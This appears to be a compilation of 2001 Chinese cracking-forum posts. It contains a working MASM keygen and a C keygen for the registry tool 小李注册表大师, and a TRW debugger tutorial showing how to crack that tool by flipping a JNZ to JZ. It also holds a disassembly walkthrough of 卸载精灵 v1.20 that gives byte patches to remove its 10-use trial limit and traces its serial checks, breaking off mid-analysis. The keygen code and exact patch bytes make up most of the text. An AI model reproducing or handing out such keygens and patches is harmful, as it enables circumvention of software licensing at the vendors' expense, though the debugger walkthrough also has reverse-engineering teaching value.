MsgMesaage1 db "请输入您的ID和用户名！",0
MsgCap db "小李注册表大师 v1.41 注册机 by 5,555",0
VName db 256 dup (0)
FSName db 256 dup (0)
Drive db "C:\",0
VID dd 0

.data?
hInstance HANDLE ?
UserName db 80 dup (?)
ID db 80 dup (?)
RegNum db 80 dup (?)

.const
DLG_MAIN equ 1000
IDC_ID equ 1001
IDC_RN equ 1002
ID_GEN equ 1003
ID_EXIT equ 1004
IDC_USER equ 1005

.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlg,0
invoke ExitProcess,NULL

_ProcDlg proc uses ebx edi esi, \
hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD

mov eax,wMsg
.if eax == WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax == WM_INITDIALOG
call GetID
invoke SetDlgItemText,hWnd,IDC_ID,addr ID
invoke SetWindowText,hWnd,ADDR MsgCap
invoke SendDlgItemMessage,hWnd,IDC_RN,EM_SETREADONLY,TRUE,NULL
.elseif eax == WM_COMMAND
mov eax,wParam
.IF lParam!=0
.if ax==ID_GEN
mov dword ptr InputOK,0
invoke RtlZeroMemory,addr ID,80
invoke RtlZeroMemory,addr UserName,80
invoke RtlZeroMemory,addr RegNum,80
invoke GetDlgItemText,hWnd,IDC_ID,addr ID,80
.IF eax != NULL
mov IDLen,eax
invoke GetDlgItemText,hWnd,IDC_USER,addr UserName,80
.IF eax != NULL
mov NameLen,eax
mov dword ptr InputOK,1
call Cal
invoke SetDlgItemText,hWnd,IDC_RN,addr RegNum
.ENDIF
.ENDIF
cmp dword ptr InputOK,1
jz Main_Exit
invoke MessageBox,NULL,addr MsgMesaage1,addr MsgCap,MB_OK or MB_ICONEXCLAMATION
.elseif ax==ID_EXIT
invoke SendMessage,hWnd,WM_CLOSE,NULL,NULL
.endif
.ENDIF
.else
mov eax,FALSE
ret
.endif
Main_Exit:
mov eax,TRUE
ret
_ProcDlg ENDP

Cal PROC
pushad
xor ebx,ebx
xor eax,eax
lea esi,ID
Cal_Lop1:
lodsb
test al,al
jz Cal_2
cmp al,'A'
jb Cal_1
cmp al,'Z'
ja Cal_1
add al,'a'-'A'
Cal_1:
add ebx,eax
jmp Cal_Lop1
Cal_2:
mov IDSum,ebx
mov eax,IDLen
add eax,NameLen
inc eax
mov ecx,57791
imul ecx
add ebx,eax
lea esi,UserName
xor eax,eax
Cal_Lop2:
lodsb
test al,al
jz ToAsc
add ebx,eax
jmp Cal_Lop2
ToAsc:
mov eax,ebx
lea ebp,RegNum
mov byte ptr [ebp],'8'
inc ebp
call Num2Dec
add ebp,DecLen
mov byte ptr [ebp],'2'
mov byte ptr [ebp+1],0
Cal_Exit:
popad
ret
Cal endp

Num2Dec Proc ;eax:Num to convert, ebp-->buffer
pushad
xor ecx,ecx
mov ebx,10
@Num2Dec_Lop1:
cdq
div ebx
push edx
inc ecx
test eax,eax
jnz @Num2Dec_Lop1
mov DecLen,ecx
@Num2Dec_Lop2:
pop eax
add al,'0'
mov byte ptr [ebp],al
inc ebp
dec ecx
jnz @Num2Dec_Lop2
mov byte ptr [ebp],0
popad
ret
Num2Dec Endp

GetID Proc
pushad
invoke GetVolumeInformation, addr Drive, addr VName, 255, addr VID, 0, 0, addr FSName, 255
mov eax,VID

lea ebp,ID
mov ecx,8
Num2Asc_Lop1:
rol eax,4
mov edx,eax
and dl,0fh
cmp dl,9
jna Digital
add dl,'A'-'0'-0ah
Digital:
add dl,'0'
cmp ecx,4
jnz StoreID
mov byte ptr [ebp],'-'
inc ebp
StoreID:
mov [ebp],dl
inc ebp
loop Num2Asc_Lop1

popad
ret
GetID Endp
end start

;以下为rsrc.rc:
#include <\masm32\include\resource.h>
#define DLG_MAIN 1000
#define IDC_ID 1001
#define IDC_RN 1002
#define ID_GEN 1003
#define ID_EXIT 1004
#define IDC_USER 1005
DLG_MAIN DIALOG 64,53,180,80
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "小李注册表大师 v1.41 注册机 by 5,555"
FONT 9, "宋体"
{
DEFPUSHBUTTON "注册", ID_GEN, 140, 10, 25, 14
PUSHBUTTON "退出", ID_EXIT, 140, 42, 25, 14
EDITTEXT IDC_ID, 52, 10, 78, 12, WS_BORDER | WS_TABSTOP
EDITTEXT IDC_USER, 52, 29, 78, 13, WS_BORDER | WS_TABSTOP
EDITTEXT IDC_RN, 52, 48, 78, 14, WS_BORDER | WS_TABSTOP
LTEXT "ID号码:", -1, 8, 12, 40, 10
LTEXT "用户名:", -1, 8, 30, 41, 9
LTEXT "序列号:", -1, 8, 48, 42, 8
}

;HD.h,大家都有的
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
include \masm32\include\comctl32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib


小李注册表大师1.11

 标 题:TRW短篇教学 (6千字)
发信人:★morning[BCG]★
时 间:2001-9-29 22:46:28
详细信息:
工具软件:TRW1.22娃娃版
目标软件：小李注册表大师1.11
软件大小：406K
下载：http://www.csdn.net/soft/openfile.asp?kind=1&id=13630
介绍：这个软件的注册很简单，属于明码比较，适合初学者用来了解CRACK的基础知识（并不是全部）。
在这里主要是介绍TRW的使用。
步骤：
1。运行目标软件。
2。运行TRW
2.5 如果你将第1和第2步反过来,在运行目标软件时,会出现TRW的工作窗口,不要怕~~按F5就可以返回WINDOWS了
3。将TRW的窗口最小化。(没有什么意义,习惯问题)
4。返回到目标软件，这个东东一开始就会出现注册窗口。
5。好了，在用户名里填上你最喜欢的NICKNAME吧,比如我就填MORNING[BCG],注册码12345678,这两样东东都可以
按你的习惯填,不会影响你理解下文的.
6. 这时该请出我们的主角TRW了,TRW有两组热键,分别代表不同的特权级别,所谓特权级别就是程序在执行中有级
别之分,只有操作系统工作在最高级--0级中,其它的程序都应工作在3级中,在3级中的程序不可直接访问IO端口
,也无法访问其它程序运行的内存,连向程序自已的代码段写入数据都是非法的(会出现你熟悉的蓝屏),只有对
工作在0级上的程序来说系统才是全开放的.所以TRW为我们准备了两种不同特权级别的热键(CTRL+N为3级,
CTRL+M为0级),可以在不同的情况下使用,像我们今天跟的这个程序来说使用3级就可以了,所以我们按CTRL+N
7. 呵呵~~出现了我们可爱的TRW了吧,要是没有出来别也急,按按你的回车,空格,ESC.....或者按按鼠标看看行不
行,要不重启动机器换用0级热键试试.
8. TRW的主界面由五部分组成,从最上面开始是存贮/寄存器窗,用来显示各存贮/寄存器的当前值.
9. 下面的一个窗口是数据窗口,是用来显示存贮器的内容的,在数据窗口的左面也就是由‘：’分开的两个值分别
为段地址:偏移地址中间为"段地址:偏移"地址所存贮的16进制值,在右面是那些16进制值所对应的ASCII码.
10.数据窗下面是代码窗,也就是程序啦~~,高亮显示的那一行是机器将要(注意:是将要)处理的下一条指令.
11.在代码窗右上角的是堆栈窗,(所谓堆栈就是一段以先进后出为工作方式的存贮器(内存))它显示的是堆栈的:偏移地址和内容
12.在代码窗的下面是指令窗,在这里你可以对TRW下达你的指令.
13.TRW所有窗口的默认颜色是黑底蓝字,在白天不易看清,所以你可以下指令VER BLUE来改变它的颜色,如果你想
它每次启动时都改变那你可以打开TRW2000.INI文件,把INIT="lines 35;wr 3;wd 8;wc 16;code on;"改成
INIT="lines 35;wr 3;wd 8;wc 16;code on;ver blue"也就是把VER BLUE加在里面.
14.好了,在给TRW换完脸后就可以开始我们的主题了,呵呵~~~~~好累呀
15.在完成了1--5步后,CTRL+N呼出TRW
16.下指令BPX HMEMCPY //BPX是TRW的中断指令,这个命令的意思是当有内存COPY动作时就中断程序,切到TRW
17.下完上一个指令后按F5就又回到了目标软件,这时按下注册，呵呵~~~被TRW拦下来了吧，这里我们在代码
窗口中看到的高亮代码就是中断的地方,是KERNEL!HMEMCPY对吧,那个KERNEL是内核的意思,(注意!!!我们
可以看到在代码窗和指令窗的分界线上也有一个KERNEL标志,说明你在代码窗口中看到代码是内核程序,也就是
现在的机器执行的程序还不是我们要跟的目标,怎么才能到我们要跟的目标呢?呵呵~~别急，TRW为我们专设了
个指令PMODULE它可以使我们一下达到我们要跟的目标，怎么才知道我们到目标了呢？还是看我们刚才有KERNEL
标志的那个地方,现在是不是变成了@#$%^&*1.11!CODE+XXXX,那个"@#$%^&*1.11"就是我们的"小李注册表大师1.11"
呀,这个标志也就是可以常在破文中见到的领空,那里是谁就是谁的领空.
18.我们刚才在第16步下了一个断点HMEMCPY,只要我们不清除或不退出TRW它就会一直存在,很烦人(只要条件相同就中断)
所以我们就要清除或关掉它,TRW为我们准备了好多中断指令在这里我们说几个常用的.BL是用来显示中断列表的,有时
我们下了好多中断,要对其中的一个进行操做我们就要知道它在中断列表中的号码,这时我们就可以下指令BL
我们的中断列表就会出现在指令窗中.现在我们有了各中断在列表中的号码就可以对它们操作了,BD XX(XX为号码),就
是关掉XX号中断(并不是清除,只是关掉了,使用BL看列表时,前面有*的是关掉的中断),BE XX可以使关掉的XX号中断重
新起作用.当我们以后不再使用某一个中断时,就可以用BC XX清除掉它,这时这个断点将被从中断列表中清除.另外还有
BD *为关掉所以断点,BE *是使用全部断点,BC *是清除全部断点,以上指令可按当时情况使用.
19.我们在这里用BD关掉我们下的断点,然后就可以开始P了(什么是P呀??)呵呵~~~ P是TRW中的又一个指令,就是单步执行
程序的意思,每执行一条指令就停下来.P指令有一个快捷键---F10,这下我们就不用一直P呀P的了,只要按F10就可以了.
20.好了,我们现在就可以开始P我们的目标了,看看它都做了点什么,我按F10按按..........你可以看到在寄存器窗中不
时的有高亮显示,那是那个东东的值发生了改变,所以就被高亮显示了....在以后的使用中好好利用这一点.
21.在按F10时要注意看没有执行的代码中有没有像JXX一类的东东,要是有的话不要急着带过,停下来看看说不定那就是
关键点,在这个例子中我们一直P到了下面(这里有个JNZ):

015F:0047F5B5 8D55EC LEA EDX,[EBP-14]
015F:0047F5B8 8B83E0020000 MOV EAX,[EBX+02E0]
015F:0047F5BE E87506FBFF CALL 0042FC38
015F:0047F5C3 8B45EC MOV EAX,[EBP-14]
015F:0047F5C6 8B55FC MOV EDX,[EBP-04]
015F:0047F5C9 E82247F8FF CALL 00403CF0
015F:0047F5CE 755F JNZ 0047F62F (JUMP)

22.我们怎么才能知道这个JNZ是不是关建呢?肯定是要执行它啦~~但我们前面的不能白P呀,这时你可以在JNZ这条代码高亮
时按F9,就在这条指令上下了一个断点,呵呵~~~怎么样方便吧?用BL看看,是不是有你刚下的断点啦~~~,有了断
点我们还怕什么?继续P......没P几下注册失败的窗口就出来了,好了再次注册,点下注册,程序中断在我们刚刚用F9下的
断点上了,为了进一步验证那个JNZ是不是关键点，我们这时可以玩个小把戏骗骗它,我们用TRW的A指令,这个指令可以让
我们修改高亮代码和它后面的代码.（只是在内存中修改，没有写到原程序，重启动程序后又恢复原样）
23.我们下A后TRW会等待你输入新的代码,现在按回车可以放弃修改,可是我们怎么就能这样放弃了呢?我们把它改成
JZ XXXXXXX 只去掉一个N别的都不变,按回车后TRW等你输入下一条指令,我们这里不需要修改下一条指令,所以我们
再按一下回车退出.然后你可以看到在代码窗中我们改的JZ XXXXXXX了,OK,按F5看一下吧,哈哈~~~~~注册成功,看来我
们是找对地方了。这里我又要讲一个新的TRW指令就是：CODE ON 这个指令可以在代码窗增加显示程序代码在程序文件
中的十六进制形式，你可以记下JNZ那一行的十六进制码，把改成JZ后的也记下来，你就可以用十六制编辑器编辑程序
文件，在里面找你记下的JNZ那一行的十六进制码，找到后把它改成JZ的那一组，保存，这就是爆破了。（我可没有说
适用本例程哦~~~），与CODE ON 对应的还有CODE OFF就是关掉十六进制代码。
24.我们来学最后一个TRW指令---D ,这个指令可以用来显示你指定的存贮器(内存)或寄存器的内容,在我们这个例子中,
按F10一直到这里时:
015F:0047F5C3 8B45EC MOV EAX,[EBP-14]
015F:0047F5C6 8B55FC MOV EDX,[EBP-04]<----这个高亮时下 D EAX 在数据窗的第一行就是EAX所指的
东西,呵呵~~是你自己输的吧
015F:0047F5C9 E82247F8FF CALL 00403CF0 <----这个高亮时下D EDX 你自己再看看EDX指向的是什么呢??
25. 另外CALL是程序在调用子程序,在CALL语句高亮时按F8就可以看到子子程序的执行过程了.

终于写完了,用了两天的空闲时间完成,希望可以给新来的朋友们一点点提示,以上的东东我是想起什么说什么,主意是想给新
手们介绍一下TRW这个好东东,当然这么短的文章不可能介绍到TRW的方方面面(呵呵~~我也知道多少).所以你要是想进一步的
学习使用TRW,还是看看TRW的使用说明吧.

过了十一我就要上学了（呵呵~~~不用军训了），也许我以后只能来这里做看客了，
祝新老朋友，万事如意，工作顺利，学有所成。。。。。

翠花~~上酸菜~~~~~~~~~~

morning
Beginner's Cracking Group
2001.9.29

标 题:贴这个的注册机~~` (534字)
发信人:伪装者[CCG]
时 间:2001-9-29 23:12:33
详细信息:

 #include "stdio.h"
main()
{
unsigned char string[81];
int i,c;
long d=0;
printf("******RegMaster 1.11********\nThis keygen is made by Pretender\nPlease
  input your name  : ");
gets(string);
d=strlen(string);
d=(d+1)*19775;
printf("Your Register code is  : ");
for(i=0;(c=string[i])!='\0';i++)
d+=c;
printf("9%ld1",d);
printf("\n *****************************      ---
  ---    ---\n *Welcome to WWW.CRACKNOW.COM*      /
      /      / --\n *****************************
      ---    ---    --/\n");}


卸载精灵v1.20

 标 题:全面分析 卸载精灵v1.20 注册算法，仅此祝大家新年快乐！ (23千字)
发信人:飞鹰[BCG]
详细信息:
全面分析 卸载精灵v1.20 注册算法

软件名称：卸载精灵v1.20
软件简介：已经厌倦了WINDOWS控制面板那个功能很弱的“添加/删除程序”了吗？你是否发现你的电脑里面有些软件无法卸载？卸载精灵的智能卸载功能可以干净彻底地卸载软件，包括那些无法正常卸载的程序它都可以帮您卸载。
未注册版限制：软件只能被使用10次，即只能用该软件卸载10个程序。
下载地址：http://cn.geocities.com/legendsoftcn/clean120.zip
破解工具：TRW2000 1.22汉化版、W32DASM 8.93汉化版、PE iDentifier 0.7 Beta 汉化版、Hiew6.76。
破解人：飞鹰[BCG]
E-mail：flithawk@263.net
网址：http://flithawk.longcity.net
破解步骤：

一、暴破软件：（破除软件只能使用10次的限制）

首先，用 W32DASM 编译软件，查找注册码错误信息“软件试用期已到”，找到后，向上分析就可以知道软件是如何限制使用次数的。分析过程如下：

* Possible StringData Ref from Data Obj ->"SOFTWARE\Legendsoft\SysCleaner"
|
:00402FA2 68D0F04200 push 0042F0D0
:00402FA7 8D4C2434 lea ecx, dword ptr [esp+34]
:00402FAB C784248402000000000000 mov dword ptr [esp+00000284], 00000000
:00402FB6 89442418 mov dword ptr [esp+18], eax
:00402FBA 89442430 mov dword ptr [esp+30], eax
:00402FBE E8E88D0100 call 0041BDAB
:00402FC3 8B542430 mov edx, dword ptr [esp+30]
:00402FC7 8D4C2424 lea ecx, dword ptr [esp+24]
:00402FCB 51 push ecx
:00402FCC 683F000F00 push 000F003F
:00402FD1 6A00 push 00000000
:00402FD3 52 push edx
:00402FD4 6802000080 push 80000002
:00402FD9 FFD5 call ebp
:00402FDB 8D44242C lea eax, dword ptr [esp+2C]
:00402FDF 8D4C2434 lea ecx, dword ptr [esp+34]
:00402FE3 50 push eax
:00402FE4 8B442428 mov eax, dword ptr [esp+28]
:00402FE8 8D542418 lea edx, dword ptr [esp+18]
:00402FEC 51 push ecx
:00402FED 52 push edx
:00402FEE 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"UseCount"
|
:00402FF0 68F0F04200 push 0042F0F0
:00402FF5 50 push eax
==>上面的大概过程是：查找并打开注册表的相关的键值

* Reference To: ADVAPI32.RegQueryValueExA, Ord:017Bh
==>RegQueryValueExA 的意思是：与注册表中的键值相比较
|
:00402FF6 FF1504504200 Call dword ptr [00425004]
:00402FFC 837C24340A cmp dword ptr [esp+34], 0000000A
==>比较软件是否已经使用了10次
:00403001 7632 jbe 00403035
==>如果大于10，不跳转就OVER了；小于10，跳转则可继续使用
:00403003 6A10 push 00000010

* Possible StringData Ref from Data Obj ->"卸载精灵"
|
:00403005 689CF24200 push 0042F29C

* Possible StringData Ref from Data Obj ->"软件试用期已到，如果要继续使用请注册，软件注册"
->"方法请查看帮助信息"
|
==>软件的出错信息，就是我们查找到的地方
:0040300A 6858F24200 push 0042F258
:0040300F 8BCE mov ecx, esi
:00403011 E875700100 call 0041A08B
:00403016 8B4C2424 mov ecx, dword ptr [esp+24]
:0040301A 51 push ecx

* Reference To: ADVAPI32.RegCloseKey, Ord:015Bh
|
:0040301B FF1500504200 Call dword ptr [00425000]
:00403021 C7842480020000FFFFFFFF mov dword ptr [esp+00000280], FFFFFFFF
:0040302C 8D4C2430 lea ecx, dword ptr [esp+30]
:00403030 E9A2040000 jmp 004034D7

所以，最终的修改方法有两种：

1、将 00402FFC 处的 837C24340A 改为：837C2434FF，即把只能10次，改为可以使用255次。

2、将 00403001 处的 7632 改为：9090，即让软件没有使用次数限制。

或者，你可以把注册表中 HKEY_LOCAL_MACHINE\Software\Legendsoft 下的 SysCleaner 项删除，就又可以使用10次了，不过这样做没有多少意思。

二、追注册码：（分析出该软件真正的注册码）

:00403BE1 8D6E5C lea ebp, dword ptr [esi+5C]
:00403BE4 8D442410 lea eax, dword ptr [esp+10]
:00403BE8 50 push eax
:00403BE9 8BCD mov ecx, ebp
:00403BEB C644242C01 mov [esp+2C], 01
:00403BF0 E8DD580100 call 004194D2
:00403BF5 8D4C2414 lea ecx, dword ptr [esp+14]
:00403BF9 8DBE98000000 lea edi, dword ptr [esi+00000098]
:00403BFF 51 push ecx
:00403C00 8BCF mov ecx, edi
:00403C02 E8CB580100 call 004194D2
:00403C07 8B542414 mov edx, dword ptr [esp+14]
:00403C0B 6874134300 push 00431374
:00403C10 52 push edx
:00403C11 E89B830000 call 0040BFB1
:00403C16 83C408 add esp, 00000008
:00403C19 85C0 test eax, eax
==>判断你输入注册名是否为空
:00403C1B 0F8458010000 je 00403D79
==>输入的注册名为空，将跳转，出现错误信息
:00403C21 8B442410 mov eax, dword ptr [esp+10]
:00403C25 6874134300 push 00431374
:00403C2A 50 push eax
:00403C2B E881830000 call 0040BFB1
:00403C30 83C408 add esp, 00000008
:00403C33 85C0 test eax, eax
==>判断你输入注册码是否为空
:00403C35 0F843E010000 je 00403D79
==>输入的注册码为空，将跳转，出现错误信息
:00403C3B 51 push ecx
:00403C3C 8D542414 lea edx, dword ptr [esp+14]
:00403C40 8BCC mov ecx, esp
:00403C42 89642420 mov dword ptr [esp+20], esp
:00403C46 52 push edx
:00403C47 E88F7D0100 call 0041B9DB
:00403C4C 8B0D70134300 mov ecx, dword ptr [00431370]
:00403C52 E8D9FCFFFF call 00403930
==>此 Call 是注册码的算法部分，应该跟踪进入
:00403C57 3BC3 cmp eax, ebx
==>判断eax与ebx中的值是否相等
:00403C59 0F84DC000000 je 00403D3B
==>如果相等，跳转将注册失败；不相等，不跳转将注册成功
:00403C5F A100F54200 mov eax, dword ptr [0042F500]
:00403C64 8944241C mov dword ptr [esp+1C], eax

* Possible StringData Ref from Data Obj ->"SOFTWARE\Legendsoft\SysCleaner"
|
:00403C68 68D0F04200 push 0042F0D0
:00403C6D 8D4C2420 lea ecx, dword ptr [esp+20]
:00403C71 C644242C02 mov [esp+2C], 02
:00403C76 E830810100 call 0041BDAB
:00403C7B 8B54241C mov edx, dword ptr [esp+1C]
:00403C7F 8D4C2418 lea ecx, dword ptr [esp+18]
:00403C83 51 push ecx
:00403C84 683F000F00 push 000F003F
:00403C89 53 push ebx
:00403C8A 52 push edx
:00403C8B 6802000080 push 80000002

* Reference To: ADVAPI32.RegOpenKeyExA, Ord:0172h
|
:00403C90 FF1508504200 Call dword ptr [00425008]
:00403C96 8B442410 mov eax, dword ptr [esp+10]
:00403C9A 8D4C2410 lea ecx, dword ptr [esp+10]
:00403C9E 8B40F8 mov eax, dword ptr [eax-08]
:00403CA1 50 push eax
:00403CA2 50 push eax
:00403CA3 E891820100 call 0041BF39
:00403CA8 8B4C241C mov ecx, dword ptr [esp+1C]

* Reference To: ADVAPI32.RegSetValueExA, Ord:0186h
|
:00403CAC 8B3D0C504200 mov edi, dword ptr [0042500C]
:00403CB2 50 push eax
:00403CB3 6A01 push 00000001
:00403CB5 53 push ebx

* Possible StringData Ref from Data Obj ->"RegCode"
|
:00403CB6 6800F14200 push 0042F100
:00403CBB 51 push ecx
:00403CBC FFD7 call edi
:00403CBE 6AFF push FFFFFFFF
:00403CC0 8D4C2414 lea ecx, dword ptr [esp+14]
:00403CC4 E8BF820100 call 0041BF88
:00403CC9 8B542414 mov edx, dword ptr [esp+14]
:00403CCD 8D4C2414 lea ecx, dword ptr [esp+14]
:00403CD1 8B42F8 mov eax, dword ptr [edx-08]
:00403CD4 50 push eax
:00403CD5 50 push eax
:00403CD6 E85E820100 call 0041BF39
:00403CDB 50 push eax
:00403CDC 8B442420 mov eax, dword ptr [esp+20]
:00403CE0 6A01 push 00000001
:00403CE2 53 push ebx

* Possible StringData Ref from Data Obj ->"RegName"
|
:00403CE3 68C8F04200 push 0042F0C8
:00403CE8 50 push eax
:00403CE9 FFD7 call edi
:00403CEB 6AFF push FFFFFFFF
:00403CED 8D4C2418 lea ecx, dword ptr [esp+18]
:00403CF1 E892820100 call 0041BF88
:00403CF6 8B4C2418 mov ecx, dword ptr [esp+18]
:00403CFA 51 push ecx

* Reference To: ADVAPI32.RegCloseKey, Ord:015Bh
|
:00403CFB FF1500504200 Call dword ptr [00425000]
:00403D01 6A40 push 00000040
==>上面的大概过程是：把已注册成功的名称和注册码写入到注册表相关的键值中

* Possible StringData Ref from Data Obj ->"软件注册"
|
:00403D03 68F8F24200 push 0042F2F8

* Possible StringData Ref from Data Obj ->"注册成功"
|
:00403D08 68ECF24200 push 0042F2EC
:00403D0D 8BCE mov ecx, esi
:00403D0F E877630100 call 0041A08B
:00403D14 8B0D70134300 mov ecx, dword ptr [00431370]

* Possible StringData Ref from Data Obj ->"卸载精灵"
|
:00403D1A 689CF24200 push 0042F29C
:00403D1F E85D750100 call 0041B281
:00403D24 8BCE mov ecx, esi
:00403D26 E8C8470100 call 004184F3
:00403D2B 8D4C241C lea ecx, dword ptr [esp+1C]
:00403D2F C644242801 mov [esp+28], 01
:00403D34 E82D7F0100 call 0041BC66
:00403D39 EB7F jmp 00403DBA
==>上面是：软件注册成功后，软件给出的提示信息

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403C59(C)
|
:00403D3B 6A10 push 00000010

* Possible StringData Ref from Data Obj ->"软件注册"
|
:00403D3D 68F8F24200 push 0042F2F8

* Possible StringData Ref from Data Obj ->"注册码错误！请重新输入"
|
:00403D42 68D4F24200 push 0042F2D4
:00403D47 8BCE mov ecx, esi
:00403D49 E83D630100 call 0041A08B
:00403D4E 8B542410 mov edx, dword ptr [esp+10]

* Reference To: USER32.SendMessageA, Ord:0214h
|
:00403D52 8B35A4544200 mov esi, dword ptr [004254A4]
:00403D58 8B42F8 mov eax, dword ptr [edx-08]
:00403D5B 50 push eax
:00403D5C 8B451C mov eax, dword ptr [ebp+1C]
:00403D5F 53 push ebx
:00403D60 68B1000000 push 000000B1
:00403D65 50 push eax
:00403D66 FFD6 call esi
:00403D68 8B4D1C mov ecx, dword ptr [ebp+1C]
:00403D6B 53 push ebx
:00403D6C 53 push ebx
:00403D6D 68B7000000 push 000000B7
:00403D72 51 push ecx
:00403D73 FFD6 call esi
:00403D75 8BCD mov ecx, ebp
:00403D77 EB3C jmp 00403DB5
==>上面是：软件注册失败后，软件给出的提示信息

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00403C1B(C), :00403C35(C)
|
:00403D79 6A10 push 00000010

* Possible StringData Ref from Data Obj ->"软件注册"
|
:00403D7B 68F8F24200 push 0042F2F8

* Possible StringData Ref from Data Obj ->"用户名及注册码不能为空"
|
:00403D80 68BCF24200 push 0042F2BC
:00403D85 8BCE mov ecx, esi
:00403D87 E8FF620100 call 0041A08B
:00403D8C 8B542414 mov edx, dword ptr [esp+14]

* Reference To: USER32.SendMessageA, Ord:0214h
|
:00403D90 8B35A4544200 mov esi, dword ptr [004254A4]
:00403D96 8B42F8 mov eax, dword ptr [edx-08]
:00403D99 50 push eax
:00403D9A 8B471C mov eax, dword ptr [edi+1C]
:00403D9D 53 push ebx
:00403D9E 68B1000000 push 000000B1
:00403DA3 50 push eax
:00403DA4 FFD6 call esi
:00403DA6 8B4F1C mov ecx, dword ptr [edi+1C]
:00403DA9 53 push ebx
:00403DAA 53 push ebx
:00403DAB 68B7000000 push 000000B7
:00403DB0 51 push ecx
:00403DB1 FFD6 call esi
:00403DB3 8BCF mov ecx, edi
==>上面是：软件注册过程中，如果你输入的用户名及注册码为空时，软件给出的提示信息

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403D77(U)
|
:00403DB5 E831760100 call 0041B3EB

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403D39(U)
|
:00403DBA 8D4C2410 lea ecx, dword ptr [esp+10]
:00403DBE 885C2428 mov byte ptr [esp+28], bl
:00403DC2 E89F7E0100 call 0041BC66
:00403DC7 8D4C2414 lea ecx, dword ptr [esp+14]
:00403DCB C7442428FFFFFFFF mov [esp+28], FFFFFFFF
:00403DD3 E88E7E0100 call 0041BC66
:00403DD8 8B4C2420 mov ecx, dword ptr [esp+20]
:00403DDC 5F pop edi
:00403DDD 5E pop esi
:00403DDE 5D pop ebp
:00403DDF 64890D00000000 mov dword ptr fs:[00000000], ecx
:00403DE6 5B pop ebx
:00403DE7 83C41C add esp, 0000001C
:00403DEA C3 ret

跟踪进入 00403930 后：

* Referenced by a CALL at Addresses:
|:004037D3 , :00403C52
|
:00403930 64A100000000 mov eax, dword ptr fs:[00000000]
:00403936 6AFF push FFFFFFFF
:00403938 6838394200 push 00423938
:0040393D 50 push eax
:0040393E 64892500000000 mov dword ptr fs:[00000000], esp
:00403945 56 push esi
:00403946 8B442414 mov eax, dword ptr [esp+14]
==>EAX中存放着你输入的注册码
:0040394A 8B48F8 mov ecx, dword ptr [eax-08]
:0040394D 83F908 cmp ecx, 00000008
==>判断你输入的注册码位数是否为8位
:00403950 7425 je 00403977
==>如果注册码位数为8位，则跳转；不跳转将注册失败
:00403952 8D4C2414 lea ecx, dword ptr [esp+14]
:00403956 C744240CFFFFFFFF mov [esp+0C], FFFFFFFF
:0040395E E803830100 call 0041BC66
:00403963 33C0 xor eax, eax
:00403965 8B4C2404 mov ecx, dword ptr [esp+04]
:00403969 64890D00000000 mov dword ptr fs:[00000000], ecx
:00403970 5E pop esi
:00403971 83C40C add esp, 0000000C
:00403974 C20400 ret 0004
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403950(C)
|
:00403977 8A10 mov dl, byte ptr [eax]
==>取你输入注册码的第 1 位，赋值给 dl
:00403979 0FBE4802 movsx ecx, byte ptr [eax+02]
==>取你输入注册码的第 3 位，赋值给 ecx
:0040397D 0FBEF2 movsx esi, dl
==>将 dl 中的值赋给 esi
:00403980 8D4C31A0 lea ecx, dword ptr [ecx+esi-60]
==>将你输入注册码的第 1 位和第 3 位的值相加后，再减去 60h 并赋给ecx
:00403984 83F907 cmp ecx, 00000007
==>判断 ecx 的值是否为7
:00403987 7425 je 004039AE
==>如果 ecx 的值为7，则跳转继续下面的比较，不跳转将注册失败
:00403989 8D4C2414 lea ecx, dword ptr [esp+14]
:0040398D C744240CFFFFFFFF mov [esp+0C], FFFFFFFF
:00403995 E8CC820100 call 0041BC66
:0040399A 33C0 xor eax, eax
:0040399C 8B4C2404 mov ecx, dword ptr [esp+04]
:004039A0 64890D00000000 mov dword ptr fs:[00000000], ecx
:004039A7 5E pop esi
:004039A8 83C40C add esp, 0000000C
:004039AB C20400 ret 0004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00403987(C)
|
:004039AE 8A4801 mov cl, byte ptr [eax+01]
==>取你输入注册码的第 2 位，赋值给 cl
:004039B1 0FBE7003 movsx esi, byte ptr [eax+03]
==>取你输入注册码的第 4 位，赋值给 esi
:004039B5 0FBEC9 movsx ecx, cl
==>将 cl 中的值赋给 ecx
:004039B8 8D4C0EA0 lea ecx, dword ptr [esi+ecx-60]
==>将你输入注册码的第 2 位和第 4 位的值相加后，再减去 60h 并赋给ecx
:004039BC 83F908 cmp ecx, 00000008
==>判断 ecx 的值是否为8
:004039BF 7425 je 004039E6
==>如果 ecx 的值为8，则跳转继续下面的比较，不跳转将注册失败
:004039C1 8D4C2414 lea ecx, dword ptr [esp+14]
:004039C5 C744240CFFFFFFFF mov [esp+0C], FFFFFFFF
:004039CD E894820100 call 0041BC66
:004039D2 33C0 xor eax, eax
:004039D4 8B4C2404 mov ecx, dword ptr [esp+04]
:004039D8 64890D00000000 mov dword ptr fs:[00000000], ecx
:004039DF 5E pop esi
:004039E0 83C40C add esp, 0000000C
:004039E3 C20400 ret 0004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004039BF(C)
|
:004039E6 8A4804 mov cl, byte ptr [eax+04]
==>取你输入注册码的第 5 位，赋值给 cl
:004039E9 0FBE7006 movsx esi, byte ptr [eax+06]
==>取你输入注册码的第 7 位，赋值给 esi
:004039ED 0FBEC9 movsx ecx, cl
==>将 cl 中的值赋给 ecx
:004039F0 8D4C0EA0 lea ecx, dword ptr [esi+ecx-60]
